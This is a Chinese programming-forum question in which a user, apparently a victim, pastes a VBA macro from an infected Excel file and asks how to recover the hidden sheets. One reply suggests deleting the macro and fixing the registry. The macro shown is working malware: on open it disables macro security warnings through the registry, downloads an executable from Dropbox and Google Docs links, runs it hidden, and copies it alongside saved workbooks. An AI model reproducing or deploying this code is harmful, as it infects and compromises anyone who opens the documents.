作业做到一半总找不到拖鞋 2022-03-07 08:13 采纳率: 100%
浏览 80
已结题

被人用vba代码隐藏了excel文件原内容,这是他代码,求知怎么恢复

Dim SheetsChanged As Boolean
Dim SheetCount As Integer

Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i

RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"

Application.DisplayAlerts = False
SheetCount = Worksheets.Count

Call MPS

ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
If Not SheetsChanged Then
ActiveWorkbook.Saved = True
End If
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
SheetsChanged = True
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)
SheetsChanged = True
End Sub

Private Sub Workbook_SheetActivate(ByVal Sh As Object)
If ActiveWorkbook.Sheets.Count <> SheetCount Then
SheetsChanged = True
SheetCount = ActiveWorkbook.Sheets.Count
End If
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim i As Integer
Dim AIndex As Integer
Dim FName

AIndex = ActiveWorkbook.ActiveSheet.Index

If SaveAsUI = False Then
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False

For i = 1 To ActiveWorkbook.Sheets.Count - 1
  ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
ActiveWorkbook.Save
  
For i = 1 To ActiveWorkbook.Sheets.Count
  ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False

Application.ScreenUpdating = True
Application.EnableEvents = True

Else
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False

For i = 1 To ActiveWorkbook.Sheets.Count - 1
  ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i

FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂lma Kitab?(*.xlsm), *.xlsm")
If FName <> False Then
  ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
  SaveAsInj ActiveWorkbook.Path
End If

For i = 1 To ActiveWorkbook.Sheets.Count
  ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
    
Application.ScreenUpdating = True
Application.EnableEvents = True

End If
End Sub

Sub SaveAsInj(DIR As String)
Dim FSO As Object
Dim FN As String

Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"

If FSO.FileExists(FN) Then
If Not FSO.FileExists(DIR & "~$cache1") Then
FileCopy FN, DIR & "~$cache1"
End If
SetAttr (DIR & "~$cache1"), vbHidden + vbSystem
End If
End Sub

Function RegKeyRead(i_RegKey As String) As String
Dim myWS As Object

On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
RegKeyRead = myWS.RegRead(i_RegKey)
End Function

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object

On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function

ErrorHandler:
RegKeyExists = False
End Function

Sub RegKeySave(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_SZ")
Dim myWS As Object

Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

Sub MPS()
Dim FSO As Object
Dim FP(1 To 3), TMP, URL(1 To 3) As String

Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "~$cache1"
FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download%22
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1%22
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1%22
TMP = Environ("Temp") & "~$cache1.exe"

If FSO.FileExists(FP(1)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(1), TMP
End If
Shell TMP, vbHide
ElseIf FSO.FileExists(FP(2)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(2), TMP
End If
Shell TMP, vbHide
Else
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If

End If

End Sub

Function FDW(MYU, NMA As String) As Boolean
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpReq Is Nothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
End If

WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpReq.Option(6) = AllowRedirects
WinHttpReq.Open "GET", MYU, False
WinHttpReq.Send

If (WinHttpReq.Status = 200) Then
If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
FDW = True
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile (NMA)
oStream.Close
Else
FDW = False
End If
Else
FDW = False
End If
End Function

  • 写回答

3条回答 默认 最新

  • Goblin_M 2022-03-07 10:23
    关注

    注册表改一下,我觉得,你打开这个那个excel表格,把它的vba直接删了不就可以了。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

问题事件

  • 系统已结题 3月16日
  • 已采纳回答 3月8日
  • 创建了问题 3月7日